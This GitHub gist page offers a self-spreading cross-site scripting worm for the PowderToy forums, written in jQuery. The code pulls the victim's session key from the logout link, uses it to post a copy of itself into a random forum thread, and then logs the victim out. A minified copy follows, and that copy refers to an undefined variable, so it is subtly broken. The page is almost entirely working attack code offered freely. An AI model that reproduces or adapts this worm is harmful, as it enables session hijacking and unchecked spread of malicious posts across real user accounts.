Skip to content

Instantly share code, notes, and snippets.

@nucular
Last active August 29, 2015 14:13
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save nucular/73c170b01cf040780537 to your computer and use it in GitHub Desktop.
Save nucular/73c170b01cf040780537 to your computer and use it in GitHub Desktop.
Self-spreading virus for the PowderToy forums (while the exploit wasn't fixed yet)
// Public Domain, whatever
(function kek(){$.getJSON("http://powdertoy.co.uk/Discussions/Categories/Index.json", function(data) {
var thread = data.Topics[Math.floor(Math.random() * data.Topics.length)].ID;
var code = kek.toString();
var key = $(".main-menu .dropdown a[href^=\"/Logout.html\"]").attr("href");
if (key) {
key = key.substring(key.length - 10);
var link = "http://powdertoy.co.uk/Discussions/Thread/Reply.json?Mode=HTML&Key=" + key;
var data = {
"Post_Message": "<![CDATA[\n<script>(" + code + ")()</script>\n]]>",
"Thread": thread,
"Post_Post": "posting"
};
$.post(link, data, function(data){
window.location = $('.dropdown a[href^="/Logout.html"]').attr("href");
});
}
})})();
<![CDATA[
(function kek(){$.getJSON("http://powdertoy.co.uk/Discussions/Categories/Index.json",function(e){
var a=e.Topics[Math.floor(Math.random()*e.Topics.length)].ID;var d=kek.toString();
var b=$('.main-menu .dropdown a[href^="/Logout.html"]').attr("href");
if(b){b=b.substring(b.length-10);var c="http://powdertoy.co.uk/Discussions/Thread/Reply.json?Mode=HTML&Key="+b;
var e={Post_Message:"<![CDATA[\n<script>("+d+")()</script>\n]]>",Thread:a,Post_Post:"posting"};
$.post(link,e,function(f){window.location=$('.dropdown a[href^="/Logout.html"]').attr("href")})}})})();
]]>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment